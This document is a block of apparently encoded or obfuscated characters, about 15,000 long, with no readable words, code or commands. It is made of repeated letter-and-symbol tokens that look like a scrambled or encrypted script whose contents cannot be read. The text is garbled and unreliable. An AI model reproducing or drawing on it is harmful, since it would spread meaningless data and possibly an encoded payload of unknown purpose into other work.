AF]@SSFA[oMMGCVDKC_KACICMINUBAF]@]J[Z]AFXpY^U_NV^MUH%FIYEAB^XH^@I]AICMINUBAF]@]J[Z]AFH]MK@AMIL\%JpCIHY[NpZF\\J[@ENpHI_IEIU[tMMGCVDKC_KACr@ENpHI_IEIU[tFH]MK@AMIL\r%\@AF^VpJ\BEYF\\J[@ENpHI_IEIU[tMMGCVDKC_KACrFA[@ENpHI_IEIU[tFXpY^U_NV^MUHr%%%FIJpCIHY[NpZFXpY^U_NV^MUH]J[Z]A\@AF^VpJ\BEY		UVBD\JJ@K[\@AF^VpJ\BEYMMGCVDKC_KACFH]MK@AMIL\%FIJpCIHY[NpZFH]MK@AMIL\]J[Z]AFH]MK@AMIL\%FIJpCIHY[NpZMMGCVDKC_KAC]J[Z]A\@AF^VpJ\BEY		UVBD\JJ@K[\@AF^VpJ\BEYWWFH]MK@AMIL\UVBD\JJ@K[%%%]J[Z]AMMGCVDKC_KAC%R%IZAL[F@AAYLUZ@XLGW]ACWDELJ%T%FIoUVBD\JJ@K[ACWDELJ]J[Z]AINC\J%%GGBCCBVH[[J@FA[oFXpY^U_NV^MUHACWDELJ%FIGGBCCBVH[[J@WWLSSGGBCCBVH[[J@]J[Z]AINC\J%%KYIXIYZ]oMMGCVDKC_KACACWDELJINC\JAZCC%FIUVBD\JJ@K[KYIXIYZ]SSMMGCVDKC_KACFH]MK@AMIL\KYIXIYZ]]J[Z]AINC\J%FIGGBCCBVH[[J@T%F\H]^MMW_oMMGCVDKC_KACACWDELJINC\JAZCCGGBCCBVH[[J@%]J[Z]AMMGCVDKC_KACF\H]^MMW_		MMGCVDKC_KACFXpY^U_NV^MUHF\H]^MMW_%%%%R%%%FB\HI_GoFXpY^U_NV^MUHACWDELJ%FIFH]MK@AMIL\FB\HI_G]J[Z]AINC\J%]J[Z]AYUKA]KF^LpMLUMZFB\HI_G%R%IZAL[F@AYEAB^XH^@I]AACWDELJ%T%KY^^N_EXEYUVFXpY^U_NV^MUHACWDELJFXpY^U_NV^MUH%I@]JNLGN]]NVMMGCVDKC_KACACWDELJZpLN@AJ@YYVD\@G[AN\J]AJG@CUT%MEWNIpF]NNIJ]AJG@CUUVBD\JJ@K[KY^^N_EXEYUV%FIoFXpY^U_NV^MUHMEWNIpF]NNISSFA[oMMGCVDKC_KACMEWNIpF]NNIMMGCVDKC_KACL@A[FAZJ%%NICHIVGUVBD\JJ@K[\[]FAHoMMGCVDKC_KACMEWNIpF]NNI%%%FINICHIVGL@A[FAZJ%%%FB\HI_G\[]FAHoFH]MK@AMIL\ACWDELJ%FIFH]MK@AMIL\FB\HI_GFB\HI_GEXpF\FZFGEDEJFB\HI_G%%%FIFB\HI_G		UVBD\JJ@K[FB\HI_GNICHIVG]J[Z]A[]ZJ%R%]J[Z]AINC\J%R%IZAL[F@A]XBWF]\FpGYMAKFWACWDELJ%T%FIFXpY^U_NV^MUHMMGCVDKC_KACSSMMGCVDKC_KACMMGCVDKC_KAC]J[Z]A%U@V]XBVW[oHJ[p@_[F@AFXpY^U_NV^MUHN]]NV%FIUVBD\JJ@K[U@V]XBVW[U@V]XBVW[N]]NV%U@V]XBVW[tMMGCVDKC_KACACWDELJrACWDELJ%FIFXpY^U_NV^MUHU@V]XBVW[U@V]XBVW[FH]MK@AMIL\U@V]XBVW[WJWAZCC[]ZJ%oZ_KN[Jp@_[F@AFH]MK@AMIL\U@V]XBVW[FXpY^U_NV^MUH%R%%%%IZAL[F@A^EJLYLUAMIVYM%T%FIFXpY^U_NV^MUHMMGCVDKC_KACSSFH]MK@AMIL\FH]MK@AMIL\]J[Z]A%U@V]XBVW[oHJ[p@_[F@AMMGCVDKC_KACN]]NV%FIMMGCVDKC_KACU@V]XBVW[SSJB_[VU@V]XBVW[]J[Z]A%WNY@HVHN]]NV%%%%I@]JNLGU@V]XBVW[N\JZpI[]EMICMINUBAF]@T%FIUVBD\JJ@K[ICMINUBAF]@SSICMINUBAF]@SSoMMGCVDKC_KACICMINUBAF]@L@A[FAZJ%FIZ\HW^DHNLJH]_VEHFHCICMINUBAF]@INC\JTWNY@HVHtJZpI[]EMrICMINUBAF]@L@A[FAZJR%%^^[J]pC_EXZI\U\YFLJICMINUBAF]@%FIFVC]\Z]^LYVJ^AICMINUBAF]@TFEB\IY^HYK^]IAENKFEB\IY^HYK%FIUVBD\JJ@K[FXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JICMINUBAF]@[]ZJ%RJC\JFIoFH]MK@AMIL\ICMINUBAF]@T%WNY@HVHtJZpI[]EMrICMINUBAF]@%R%R%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHWNY@HVHFH]MK@AMIL\%R%IZAL[F@ANYKF[DC@BHL\pCAHI%T%[]VT%%%%C[A_M[pFH]MK@AMIL\FH]MK@AMIL\oJ]]@]pHJ[pCN\[AZCC%FI%MMGCVDKC_KACC[A_M[p		JB_[VC[A_M[ptUVBD\JJ@K[r		JB_[VC[A_M[ptFXpY^U_NV^MUHr%		MMGCVDKC_KACC[A_M[ptUVBD\JJ@K[rN]]NVjpj}}`}jpn}|jjpl`}jpj}}`}jpl`bfcjpj}}`}jpz|j}pj}}`}[]ZJ%T%UEJIEU\MYJCFoFXpY^U_NV^MUH]\MJUBY%%%%%pJIoFH]MK@AMIL\C[A_M[ptMMGCVDKC_KACr%%%%FIMMGCVDKC_KACUEJIEU\MYJCF		UVBD\JJ@K[pJI		pJIUEJIEU\MYJCF]J[Z]A%R%A_Y]NXMHVHNCUVBD\JJ@K[%FIKJIFAJKUVBD\JJ@K[T%BF@[_A\_CFXH_B\XpJ_%%%FIoFH]MK@AMIL\BF@[_A\_trT%XNAABKMoMMGCVDKC_KACBF@[_A\_trINC\JAZCCq%%FIUVBD\JJ@K[XNAABKM		FXpY^U_NV^MUHXNAABKMMMGCVDKC_KACXHMDNU[UXH@NANXI[T%%%Z@BI[UGE@oFH]MK@AMIL\BF@[_A\_trUVBD\JJ@K[oFXpY^U_NV^MUHBF@[_A\_trUVBD\JJ@K[INC\JAZCC%FIZ@BI[UGE@XNAABKMoMMGCVDKC_KACBF@[_A\_trBF@[_A\_trFH]MK@AMIL\%R%R%ZA\J[BF@[_A\_XNAABKMZ@BI[UGE@%R%RLN[LG{G]@XNMCJEMNYKYAA_^MDT%RLN[LGjWLJ_[F@AEMNYKYAA_^MDT%R%R%IZAL[F@AUX[JAZWNCGLK_VU[Y[_GCK\M%T%%%%FIFH]MK@AMIL\[Y[_GCK\M]J[Z]A%FIMMGCVDKC_KACMMGCVDKC_KAC[Y[_GCK\MYXVMVKM_DFHT%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%FIHDXIGVJWFNJ\FH]MK@AMIL\UM_[_WZFM[]ZJ]J[Z]A%R%R%%%%FIMMGCVDKC_KACUVBD\JJ@K[[Y[_GCK\MYXVMVKM_DFHT%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%FIHDXIGVJWFNJ\\[]F_L\CN\GJ\UM_[_WZFM]J[Z]A%FIFXpY^U_NV^MUHUM_[_WZFMFH]MK@AMIL\INC\JT@C[XFCZVNgpbne`}pyj}|f`aVVGVBMZMDZ@C[XFCZVN%CNKWV\EJ\Kp_]JHp]J_CNLJpLNCCMNLDFXpY^U_NV^MUHFXpY^U_NV^MUHUM_[_WZFM%FIUVBD\JJ@K[CNKWV\EJ\Kp		CNKWV\EJ\KpUM_[_WZFM		HDXIGVJWFNJ\CNKWV\EJ\Kp]J[Z]A%R%R%R%FIFH]MK@AMIL\FH]MK@AMIL\[Y[_GCK\MYXVMVKM_DFHT%%%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%%%FIHDXIGVJWFNJ\FXpY^U_NV^MUHN]]NVFXpY^U_NV^MUHFH]MK@AMIL\N]]NVsssUM_[_WZFM]J[Z]A%%%%FIUVBD\JJ@K[UM_[_WZFMMMGCVDKC_KACINC\JT%CNKWV\EJ\Kp_]JHp]J_CNLJpLNCCMNLDMMGCVDKC_KACMMGCVDKC_KACUM_[_WZFM%FIFH]MK@AMIL\CNKWV\EJ\Kp		CNKWV\EJ\KpUM_[_WZFM		HDXIGVJWFNJ\CNKWV\EJ\Kp]J[Z]A%%%%R%R%R%]J[Z]A[Y[_GCK\M%R%IZAL[F@AXM]BCXELK]^YWXZW_GHA\Jp%T%FIFH]MK@AMIL\XZW_GHA\JpSSFH]MK@AMIL\XZW_GHA\JpMMGCVDKC_KACINC\J		FH]MK@AMIL\XZW_GHA\JpUVBD\JJ@K[INC\J]J[Z]AINC\J%%%%FIFH]MK@AMIL\MMGCVDKC_KACXZW_GHA\JpYXVMVKM_DFHT%%%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%FIHDXIGVJWFNJ\UVBD\JJ@K[UM_[_WZFM[]ZJ]J[Z]A[]ZJ%R%R%FIFXpY^U_NV^MUHFH]MK@AMIL\XZW_GHA\JpYXVMVKM_DFHT%%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%FIHDXIGVJWFNJ\\[]F_L\CN\GJ\UM_[_WZFM]J[Z]A[]ZJ%R%  o[FBJ@Z[ICVXJFHG[%%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%%%%FIUVBD\JJ@K[UM_[_WZFMMMGCVDKC_KACINC\JL@A[FAZJ%%%CNKWV\EJ\Kp_]JHp]J_CNLJpLNCCMNLDFXpY^U_NV^MUHUVBD\JJ@K[UM_[_WZFM%FIMMGCVDKC_KACCNKWV\EJ\Kp		CNKWV\EJ\KpUM_[_WZFM		HDXIGVJWFNJ\CNKWV\EJ\Kp]J[Z]A[]ZJ%R%R%FIUVBD\JJ@K[UVBD\JJ@K[XZW_GHA\JpYXVMVKM_DFHT%%%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%%FIHDXIGVJWFNJ\MMGCVDKC_KACN]]NVFH]MK@AMIL\MMGCVDKC_KACN]]NVsssUM_[_WZFM]J[Z]A[]ZJ%%%R%I@]JNLGYXVMVKM_DFHtrN\UM_[_WZFMT%FIUVBD\JJ@K[UM_[_WZFMMMGCVDKC_KACINC\JL@A[FAZJ%CNKWV\EJ\Kp_]JHp]J_CNLJpLNCCMNLDUVBD\JJ@K[UVBD\JJ@K[UM_[_WZFM%FIFXpY^U_NV^MUHCNKWV\EJ\Kp		CNKWV\EJ\KpUM_[_WZFM		HDXIGVJWFNJ\CNKWV\EJ\Kp]J[Z]A[]ZJ%%R%R%]J[Z]AINC\J%%%R%IZAL[F@A]@D[^@IYXUXZW_GHA\Jp%TDMVEUFSM]BIYXpM@DMVEUFq%%%%FIFXpY^U_NV^MUHXZW_GHA\JpSSXZW_GHA\Jp]J[Z]A%]J[Z]AFH]MK@AMIL\FH]MK@AMIL\UVBD\JJ@K[XZW_GHA\JpYE\BAI_YE\BAI_tr%R%IZAL[F@AFKZ]XUJA[WWDWWFB\HI_GD]BVXWJVBp]@EWYC\IGKpEU^AZCC%TELG]GEFCNKN\ZXMEELG]GEFELG]GEFELG]GEF%FIFXpY^U_NV^MUHFB\HI_GSSFB\HI_G]J[Z]AFB\HI_G%NHEEUNA\XGYB@CMMGCVDKC_KACD]BVXWJVBp]@EWFH]MK@AMIL\%]FULYEU@G^AKWpW%DIGGEpC_IMH%XGFCJDIGGEpC_IMHT%]KNCL@IFXpY^U_NV^MUHFB\HI_GNHEEUNA\XGYB@C%FI]KNCL@IINC\JM]JND%X\[\LCB@]KNCL@IMMGCVDKC_KACNHEEUNA\XGYB@C%LKH\KNAXK[MMGCVDKC_KACFB\HI_GFH]MK@AMIL\X\[\LCB@%FILKH\KNAXK[INC\JSSLKH\KNAXK[X\[\LCB@qT%]FULYEU@G^AKWpWMMGCVDKC_KACFB\HI_GX\[\LCB@%%FB\HI_GFXpY^U_NV^MUHFB\HI_GX\[\LCB@%L@A[FAZJ%R%IYNFACV\EFH]MK@AMIL\FB\HI_GX\[\LCB@LKH\KNAXK[X\[\LCB@%%%FIFXpY^U_NV^MUHMMGCVDKC_KACIYNFACV\ET%]FULYEU@G^AKWpWFXpY^U_NV^MUHFB\HI_GX\[\LCB@%FB\HI_GMMGCVDKC_KACFB\HI_GX\[\LCB@%L@A[FAZJ%R%JFHF^\^FXpY^U_NV^MUHD]BVXWJVBp]@EWFXpY^U_NV^MUHIYNFACV\EFH]MK@AMIL\%VIDBLJVFUKXLFH]MK@AMIL\FB\HI_GJFHF^\^LKH\KNAXK[%FIVIDBLJVFUKXLINC\JM]JND%%]FULYEU@G^AKWpWUVBD\JJ@K[FB\HI_G]KNCL@I%IYI_KNKYBJFH]MK@AMIL\FB\HI_G]KNCL@IVIDBLJVFUKXLMMGCVDKC_KACJFHF^\^]KNCL@I%FIYC\IGKpEU^AZCCT%_EI@L@EIZFH]MK@AMIL\YC\IGKpEU^IYI_KNKYBJ%FIUVBD\JJ@K[_EI@L@EIZ]FULYEU@G^AKWpW_EI@L@EIZ%%%RJC\JT%]FULYEU@G^AKWpWIYI_KNKYBJNDV\XICUp_^gpbne`}pyj}|f`aNB^HLWGNDV\XICUp_^%%R%FB\HI_GFH]MK@AMIL\FB\HI_GVIDBLJVFUKXLFH]MK@AMIL\JFHF^\^%%%R%%]J[Z]A]FULYEU@G^AKWpWFB\HI_G%%%R%IZAL[F@AH^\BFECLK\ZFE[Y[_GCK\M%T%%%]J[Z]A%%%R%IZAL[F@AAYKDBZU[L_K[Y[_GCK\M%T%%FIUVBD\JJ@K[[Y[_GCK\M]J[Z]A%%%FIKJIFAJKMMGCVDKC_KAC]J[Z]A[Y[_GCK\M%DVCAKEEV@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[%FIMMGCVDKC_KACMMGCVDKC_KACDVCAKEEVUVBD\JJ@K[[Y[_GCK\M]J[Z]A%]J[Z]A[Y[_GCK\M%R%IZAL[F@AYpE_]E_V^KFFB\HI_G%T%FIFXpY^U_NV^MUHFB\HI_GSSFB\HI_G]J[Z]AFB\HI_G%BEB]J\FDMHZYFKZ]XUJA[WWDWWFB\HI_GMMGCVDKC_KACUVBD\JJ@K[%BEB]J\FDMHZYFKZ]XUJA[WWDWWBEB]J\FDMHZYUVBD\JJ@K[FXpY^U_NV^MUH%FIMMGCVDKC_KACBEB]J\FDMHZYBEB]J\FDMHZYMMGCVDKC_KACMMGCVDKC_KACBEB]J\FDMHZY%%%%FIFH]MK@AMIL\BEB]J\FDMHZYBEB]J\FDMHZYFB\HI_GHYJHHJHNVUGgpfa{pbnw gpfa{pbnwMI\\^UZAZpHYJHHJHNVUG%FIXM]BCXELK]^YWBEB]J\FDMHZYT%%BEB]J\FDMHZYFKZ]XUJA[WWDWWBEB]J\FDMHZYUVBD\JJ@K[MMGCVDKC_KAC%%%BEB]J\FDMHZYFKZ]XUJA[WWDWWBEB]J\FDMHZYFH]MK@AMIL\FH]MK@AMIL\%FIFH]MK@AMIL\BEB]J\FDMHZYBEB]J\FDMHZYMMGCVDKC_KACUVBD\JJ@K[BEB]J\FDMHZY%R%%]J[Z]AMMGCVDKC_KACBEB]J\FDMHZYBEB]J\FDMHZYFB\HI_G%%R%IZAL[F@AUMZZWCCFB\HI_G%T%FIFXpY^U_NV^MUHFB\HI_GSSKJIFAJKMMGCVDKC_KAC]J[Z]AINC\J%FIFXpY^U_NV^MUHFH]MK@AMIL\FB\HI_G]J[Z]A[]ZJ%%%%^VXCW\ZXAKBWD@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACWW%FIMMGCVDKC_KACUVBD\JJ@K[FB\HI_GM@^DNUT%I@]JNLGM@^DNUtrN\CNXHA@_VT%FIFXpY^U_NV^MUHCNXHA@_V^VXCW\ZXAKBWD]J[Z]A[]ZJ%R%%%R%pKKUVBD\JJ@K[FH]MK@AMIL\nm|n{gUVBD\JJ@K[%FIMMGCVDKC_KACUVBD\JJ@K[FB\HI_GpKBT%  x|_NLJ]mC@LDLZ\[@BFUJ][]NA\_@][%%I@]JNLGpKBtrN\DWJB_[ZKVBT%FIDWJB_[ZKVBpKK]J[Z]A[]ZJ%R%R%]J[Z]AINC\J%%%R%IZAL[F@AGWKpXXXLEEMVMZB\^%%T%FIF\\J[phj{tUVBD\JJ@K[rSSFH]MK@AMIL\phj{tFH]MK@AMIL\rSSFH]MK@AMIL\FXpY^U_NV^MUH]J[Z]A%JpCIHY[NpZoHJ[p@_[F@AFXpY^U_NV^MUHN]]NV%FIFXpY^U_NV^MUHJpCIHY[NpZ]J[Z]A%C_EN@C\[]FAHphj{tFXpY^U_NV^MUHr%]I[YDKV\GWN]]NV%FIF\\J[JpCIHY[NpZt[r]I[YDKV\GWtr\[]FAHJpCIHY[NpZt[r%FIF\\J[JpCIHY[NpZtFXpY^U_NV^MUHr		MMGCVDKC_KACJpCIHY[NpZtUVBD\JJ@K[rT%I@]JNLGJpCIHY[NpZtUVBD\JJ@K[rN\G[HCZVE^ILT%%%FIMMGCVDKC_KACG[HCZVE^IL		F\\J[G[HCZVE^ILt[r]I[YDKV\GWtr\[]FAHG[HCZVE^ILt[r%R%R%YZCDFIU[^HUYNINC\J%I@]JNLG]I[YDKV\GWN\L]GWAB[[IT^FHJWA\gpbne`}pyj}|f`aYXGNMH[^^FHJWA\%FIL]GWAB[[IL@A[FAZJ%YZCDFIU[^HUYNMMGCVDKC_KACMMGCVDKC_KACGN\GpJ^ZNC\L]GWAB[[IC_EN@CL]GWAB[[IC_EN@C%FIYZCDFIU[^HUYNM]JND%R%  oKJ_]@YF\F@A\LGJKZCJ]%%FIYZCDFIU[^HUYN]J[Z]A%%%%FIUVBD\JJ@K[UVBD\JJ@K[T%%%%UVBD\JJ@K[IZAL[F@AZ\JC_EN@CT%JLG@sA|ldC_EN@CFH]MK@AMIL\%R%%R%R%IZAL[F@AYNGIILCApKZ@CC\\%T%FIUVBD\JJ@K[UVBD\JJ@K[]J[Z]AINC\J%%%YE\BAI_oHJ[p@_[F@AUVBD\JJ@K[%%%%FIMMGCVDKC_KACYE\BAI_SSFH]MK@AMIL\YE\BAI_FH]MK@AMIL\]J[Z]AINC\J%\@AF^VpJ\BEYFA[FXpY^U_NV^MUHYE\BAI_q%FI\@AF^VpJ\BEY		FXpY^U_NV^MUH\@AF^VpJ\BEY]J[Z]AINC\J%]J[Z]A[]ZJ%R%IZAL[F@AALp@Z@[NNUFACWDELJZU\ZJ@\GMFND%T%  bJBLNLGJKNKN_[J]ZAC@NKXN[J]BN]D%%FIUVBD\JJ@K[FXpY^U_NV^MUHSSMMGCVDKC_KACFXpY^U_NV^MUH]J[Z]AINC\J%%FIYNGIILCApKZ@CC\\]J[Z]A[]ZJ%JpCIHY[NpZoHJ[p@_[F@AUVBD\JJ@K[N]]NV%FIFXpY^U_NV^MUHJpCIHY[NpZJpCIHY[NpZN]]NV%FIF\\J[JpCIHY[NpZtMMGCVDKC_KACrSSMMGCVDKC_KACJpCIHY[NpZtUVBD\JJ@K[rT%%%%XEAK@\_]_N]]NV%%%FIF\\J[JpCIHY[NpZt[rJpCIHY[NpZt_rJpCIHY[NpZtMrT%  _]@YF\F@A\[]@AHA@BFANC[V_J%%XEAK@\_]_tFH]MK@AMIL\\[]FAHJpCIHY[NpZt_rrN]]NV[\[]FAHJpCIHY[NpZt[r_\[]FAHJpCIHY[NpZt_rM\[]FAHJpCIHY[NpZtMrMMGCVDKC_KACF\\J[JpCIHY[NpZtFXpY^U_NV^MUHrFA[JpCIHY[NpZtMMGCVDKC_KACrFH]MK@AMIL\MMGCVDKC_KACA%R%JpCIHY[NpZN]]NVFH]MK@AMIL\XEAK@\_]_%R%IYNFACV\EMMGCVDKC_KACACWDELJ%%FIF\\J[JpCIHY[NpZtUVBD\JJ@K[rtIYNFACV\ErT%JpCIHY[NpZtUVBD\JJ@K[rtIYNFACV\ErtFH]MK@AMIL\rMMGCVDKC_KAC%%%%JpCIHY[NpZtMMGCVDKC_KACrtIYNFACV\ErtFXpY^U_NV^MUHr%%%JpCIHY[NpZtFH]MK@AMIL\rtIYNFACV\ErtArZU\ZJ@\GMFND%FI\M^IMUZLAAY\WEFW_JpCIHY[NpZtUVBD\JJ@K[rtIYNFACV\ErtMrZU\ZJ@\GMFNDT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFH]MK@AMIL\%]J[Z]AINC\J%R%%RJC\JT%]_DCDZL\XB[[I@V^YMAMHF%D\VGI_UUUCDKE]_DCDZL\MMGCVDKC_KAC@\J__MJJCW]ZGACWDELJFH]MK@AMIL\%FI\M^IMUZLAAY\WEFW_D\VGI_UUUCDKEZU\ZJ@\GMFNDT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACUVBD\JJ@K[%%%%]J[Z]AINC\J%%%%R%JpCIHY[NpZtFH]MK@AMIL\rtIYNFACV\ErN]]NV[JWWLGH^AAWHq_ACWDELJMD\VGI_UUUCDKEFH]MK@AMIL\FXpY^U_NV^MUHUVBD\JJ@K[AZU\ZJ@\GMFND%%R%XGFCJFH]MK@AMIL\JpCIHY[NpZtFXpY^U_NV^MUHrT%IVXJ^^]N\I^WAZCC%%%%GEU\MULJZ]@AZCC%%%I@]JNLGJpCIHY[NpZtFH]MK@AMIL\rN\^[NWM^AAZA^BVEJC@^T%%%FIGEU\MULJZ]@AZCCSSFA[BVEJC@^tUVBD\JJ@K[rGEU\MULJZ]@TUL^AUDIMWJKW@^@KppAGYUL^AUDIM
%%%%GEU\MULJZ]@FA[BVEJC@^tMMGCVDKC_KACr%IVXJ^^]N\I^W^[NWM^AAZA^%%R%R%FIIVXJ^^]N\I^WAZCCM]JND%FVC]\Z]^LYVJ^AJpCIHY[NpZtFXpY^U_NV^MUHrtIVXJ^^]N\I^WrtMr%ZA\J[JpCIHY[NpZtMMGCVDKC_KACrtIVXJ^^]N\I^Wr%R%%oZ_KN[Jp@_[F@AUVBD\JJ@K[JpCIHY[NpZFH]MK@AMIL\%FXpY^U_NV^MUHUVBD\JJ@K[%]J[Z]A[]ZJ%R%%%IZAL[F@AFKGGA\VZ_LDLBCEBEL_KHI%T%%%%FK[E]YCXE[AUVoUVBD\JJ@K[EBEL_KHIN]]NVFH]MK@AMIL\UVBD\JJ@K[INC\JFH]MK@AMIL\[]ZJFH]MK@AMIL\FH]MK@AMIL\N]]NVUVBD\JJ@K[UVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[%FIUVBD\JJ@K[UVBD\JJ@K[		F\pX_pJ]]@]FK[E]YCXE[AUV]J[Z]AN]]NVINC\J%[MB[V@ZCL_UVBD\JJ@K[MMGCVDKC_KACFA[X_p]JB@[Jp]J[]FJYJp]J\_@A\JpL@KJFK[E]YCXE[AUV%]J[Z]AN]]NV[MB[V@ZCL_[MB[V@ZCL_		MMGCVDKC_KACUVBD\JJ@K[\[]FAHX_p]JB@[Jp]J[]FJYJpM@KVFK[E]YCXE[AUV%R%IZAL[F@AYIKLBNLKJ_ApBY[G[HCZVE^IL%T%@CNXJXKLoFXpY^U_NV^MUHG[HCZVE^ILtMrIW]ZGN^_KJLE_G_KIW]ZG%%FIFXpY^U_NV^MUH@CNXJXKL]J[Z]AINC\J%FI@CNXJXKLT%FIJB_[VG[HCZVE^ILtAr]J[Z]AINC\J%FLHD^BDFJ^GoFH]MK@AMIL\G[HCZVE^ILt_r%FIFLHD^BDFJ^GTBDIUIM_gpfa{pbnw gpfa{pbnwM]pMYEAWBDIUIM_%^^[J]pC_EXZI\U\YFLJG[HCZVE^ILt_r%FLHD^BDFJ^GFVC]\Z]^LYVJ^AG[HCZVE^ILt_r%R%FIUVBD\JJ@K[FXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JG[HCZVE^ILt_r[]ZJ%]J[Z]AFLHD^BDFJ^GKL_\^YGEgpbne`}pyj}|f`a]IEAJ\KL_\^YGE%R%FI\M^IMUZLAAY\WEFW_G[HCZVE^ILt_r@CNXJXKL]J[Z]AINC\J%%FIMMGCVDKC_KACFXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JG[HCZVE^ILt_r[]ZJ%%%]J[Z]A[]ZJ%R%%%IZAL[F@AAZVLD@Np@KVMA%T%FIMMGCVDKC_KACUVBD\JJ@K[]J[Z]A%JpCIHY[NpZoHJ[p@_[F@AUVBD\JJ@K[N]]NV%%%FIFXpY^U_NV^MUHJpCIHY[NpZ]J[Z]A%FIF\\J[JpCIHY[NpZtFXpY^U_NV^MUHrSSFH]MK@AMIL\JpCIHY[NpZtUVBD\JJ@K[rT%XEAK@\_]_N]]NV%FIF\\J[JpCIHY[NpZt[rJpCIHY[NpZt_rJpCIHY[NpZtMrT%%%%XEAK@\_]_tMMGCVDKC_KAC\[]FAHJpCIHY[NpZt_rrN]]NV[\[]FAHJpCIHY[NpZt[r_\[]FAHJpCIHY[NpZt_rM\[]FAHJpCIHY[NpZtMrMMGCVDKC_KACF\\J[JpCIHY[NpZtMMGCVDKC_KACrFA[JpCIHY[NpZtMMGCVDKC_KACrUVBD\JJ@K[UVBD\JJ@K[%R%JpCIHY[NpZN]]NVMMGCVDKC_KACXEAK@\_]__IDKYBHLHUM\_IDKYB%R%FIJB_[VJpCIHY[NpZtUVBD\JJ@K[rT%oKJCJ[Jp@_[F@AMMGCVDKC_KAC%]J[Z]AN\pZ[X\WC\EWX\WXN\pZ[X\
%R%\[N[FLA[ZDVWINC\J%%FIA[ZDVW]J[Z]A%%A[ZDVW[]ZJ%FIFXpY^U_NV^MUHFH]MK@AMIL\oFXpY^U_NV^MUH%JC\JFIFH]MK@AMIL\UVBD\JJ@K[oFXpY^U_NV^MUH%FIUVBD\JJ@K[UVBD\JJ@K[oFH]MK@AMIL\[]ZJ%FIFXpY^U_NV^MUHFXpY^U_NV^MUHSSUVBD\JJ@K[MMGCVDKC_KAC]J[Z]A%@F@^DBADD][G@BJpZ]C %%XpFUW\HFXpY^U_NV^MUHUVBD\JJ@K[X_pC@HFApZ]C@F@^DBADD][FH]MK@AMIL\%HMW]J^Y]LVINC\J%V^@Kp[XB[]ZJ%EJ[ACp^^D%I@]JNLGJpCIHY[NpZtFXpY^U_NV^MUHrN\IYNFACV\EG[HCZVE^ILT%FIMMGCVDKC_KACG[HCZVE^ILSSJB_[VG[HCZVE^ILt[rSSJB_[VG[HCZVE^ILt_rSSJB_[VG[HCZVE^ILtMrT%ZA\J[JpCIHY[NpZtFH]MK@AMIL\rtIYNFACV\Er%HMW]J^Y]LV[]ZJ%L@A[FAZJ%R%FIFXpY^U_NV^MUHFA[G[HCZVE^ILtMMGCVDKC_KACrSSFA[G[HCZVE^ILtUVBD\JJ@K[rT%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\MMGCVDKC_KACG[HCZVE^ILt_r%FVC]\Z]^LYVJ^AG[HCZVE^ILtMr%ZA\J[JpCIHY[NpZtMMGCVDKC_KACrtIYNFACV\Er%HMW]J^Y]LV[]ZJ%L@A[FAZJ%R%FIEJ[ACp^^DM]JND%EJ[ACp^^D%MEWNIpF]NNIMMGCVDKC_KACMMGCVDKC_KACG[HCZVE^ILt[rFXpY^U_NV^MUHUVBD\JJ@K[WIIWNI%CF\[[MB[V@ZCL_GABVM[Mp\WIC\FKGGA\VZ_LDLBC@F@^DBADD][MEWNIpF]NNI%FI[MB[V@ZCL_V^@Kp[XBINC\J%FI[MB[V@ZCL_		UVBD\JJ@K[MMGCVDKC_KACUVBD\JJ@K[%FI[MB[V@ZCL_T%%%CF\[[MB[V@ZCL_GABVM[Mp\WIC\FKGGA\VZ_LDLBC@F@^DBADD][MEWNIpF]NNI%%%FI[MB[V@ZCL_V^@Kp[XBINC\J%%%%R%FI[MB[V@ZCL_T%JpCIHY[NpZtUVBD\JJ@K[rtIYNFACV\ErtMMGCVDKC_KACr%HMW]J^Y]LV[]ZJ%L@A[FAZJ%%%%R%FI[MB[V@ZCL_T%FIYIKLBNLKJ_ApBY[G[HCZVE^ILT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FH]MK@AMIL\FXpY^U_NV^MUHG[HCZVE^ILt_r%FVC]\Z]^LYVJ^AG[HCZVE^ILtMr%%%%ZA\J[JpCIHY[NpZtMMGCVDKC_KACrtIYNFACV\Er%RJC\JT%%%JpCIHY[NpZtFH]MK@AMIL\rtIYNFACV\ErtUVBD\JJ@K[r%R%HMW]J^Y]LV[]ZJ%L@A[FAZJ%R%FIMMGCVDKC_KACGABVM[Mp\WIC\FH]MK@AMIL\G[HCZVE^ILt[rMMGCVDKC_KACINC\JT%FVC]\Z]^LYVJ^AG[HCZVE^ILtMr%ZA\J[JpCIHY[NpZtUVBD\JJ@K[rtIYNFACV\Er%HMW]J^Y]LV[]ZJ%L@A[FAZJ%%R%CF\[pMYFU]^]pVXI\WJCFKGGA\VZ_LDLBCXpFUW\HFH]MK@AMIL\XpFUW\HINC\J	FH]MK@AMIL\MMGCVDKC_KACG[HCZVE^ILt[rFH]MK@AMIL\MMGCVDKC_KAC%FIpMYFU]V^@Kp[XBINC\J%%%FIpMYFU]T%FIYIKLBNLKJ_ApBY[G[HCZVE^ILT%  x{NHlC@ZKCNUV\FAHCJ[@A%%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KACG[HCZVE^ILt_r%%%%FVC]\Z]^LYVJ^AG[HCZVE^ILtMr%ZA\J[JpCIHY[NpZtFXpY^U_NV^MUHrtIYNFACV\Er%%RJC\JT%JpCIHY[NpZtMMGCVDKC_KACrtIYNFACV\ErtFXpY^U_NV^MUHr%R%HMW]J^Y]LV[]ZJ%%L@A[FAZJ%%%R%FIFH]MK@AMIL\^]pVXI\WJC		MMGCVDKC_KAC^]pVXI\WJCMMGCVDKC_KACG[HCZVE^ILt[rUVBD\JJ@K[INC\JT%FVC]\Z]^LYVJ^A